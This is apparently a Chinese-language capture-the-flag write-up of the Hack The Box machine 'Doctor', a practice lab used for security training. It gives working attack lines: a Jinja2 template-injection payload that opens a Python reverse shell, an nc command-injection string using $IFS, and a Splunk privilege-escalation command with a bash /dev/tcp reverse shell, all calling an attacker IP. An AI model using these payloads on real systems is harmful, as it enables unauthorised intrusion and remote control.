靶机描述
Doctor是htb中easy类型的一种靶机,主要考察点有ssti模板注入、命令注入、splunk本地提权等方面的知识点。
信息收集
-
端口扫描
nmap -v -A -Pn -oG Doctor.nmap 10.10.10.209
-
目录扫描
ffuf -u http://10.10.10.209 -w /usr/share/wordlist/fuzz/1.txt -t 10
-
网页信息收集
-
网站登录入口
通过将10.10.10.209和域名进行绑定,再访问时发现跳转到了博客的登录系统,发现是flask搭建的博客系统。这里很容易想到ssti模板注入
echo "10.10.10.209 doctors.htb" >> /etc/hotos
SSTI模板注入
ssti 模板注入是指服务端接收了攻击者的恶意输入以后,未进行任何处理就当成web的模板内容的一部分,再通过模板引擎去渲染(一般可以执行各种表达式),可以导致敏感信息泄露,恶意代码执行等等漏洞
-
判断方式
根据报错
大量的模版语言都是类似的,我们可以选择一些不常规的payload让其抛出异常,这样我们就能确定模版引擎甚至版本号;比如使用无效表达式
<%=foobar%>
给基于Ruby的ERB
模版引擎解析时,就会抛出异常:(erb):1:in `': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `'根据执行结果
如果没有报错,就只能根据每个模版语言的特性来识别了,一种常见的方法是使用来自不同模板引擎的语法注入任意数学运算,根据返回的结果来判断
漏洞挖掘
ssti注入
通过登录网站之后在New Message中进行写入ssti的测试语句,再访问时发现没有执行,进行源码查看
访问注释的archive接口,发现在archive中被执行了,因为过段时间不登陆凭据就会被清理,因此在找到这个漏洞时就可以执行相应的命令
这里可以写于反弹shell的命令进行反弹,可以使用tplmap或者手动写入
{%
for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in
x.__name__
%}{{x()._module.__builtins__['__import__']('os').popen("python3 -c
'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.32",1234)); os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash",
"-i"]);'").read().zfill(417)}}{%endif%}{% endfor %}
命令注入
通过nc监听端口发现有数据进行回传,并且执行了命令,发现是curl再进行数据的传输
tcpdump -ni tun0 icmp
nc -lvnp 80
可以尝试使用 curl+IFS的方式去反弹shell
$(nc.traditional$IFS-e$IFS'/bin/bash'$IFS'10.10.14.32'$IFS'80')
提权
通过反弹shell我们发现无法查看用户的flag,我们的权限还是太低因此我们需要得到一个机器的权限,通过id我们发现我们的权限是
web,因此我们可以读取日志,通过在日志中发现是否存在密码账户之类的信息。
shaun的账户密码
通过枚举post提交的方式查看是否存在密码泄露
grep -r passw . 2>/dev/null | grep 'POST'
grep -R -e 'password' /var/log/ | grep 'POST'
发现疑似密码
shaun:Guitar123
进行su 登录
Spluk 提权
在8090端口中发现存在spluk,google中找到了利用脚本SplunkWhisperer2
python PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.32 --username shaun --password Guitar123 --payload "ping -c 1 10.10.14.32"
反弹shell
python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.6 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.32/2345 0>&1'"
参考
https://0xdf.gitlab.io/2021/02/06/htb-doctor.html#shell-as-root
原文始发于微信公众号(Haking水友攻防实验室):靶机实战|htb-Doctor
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论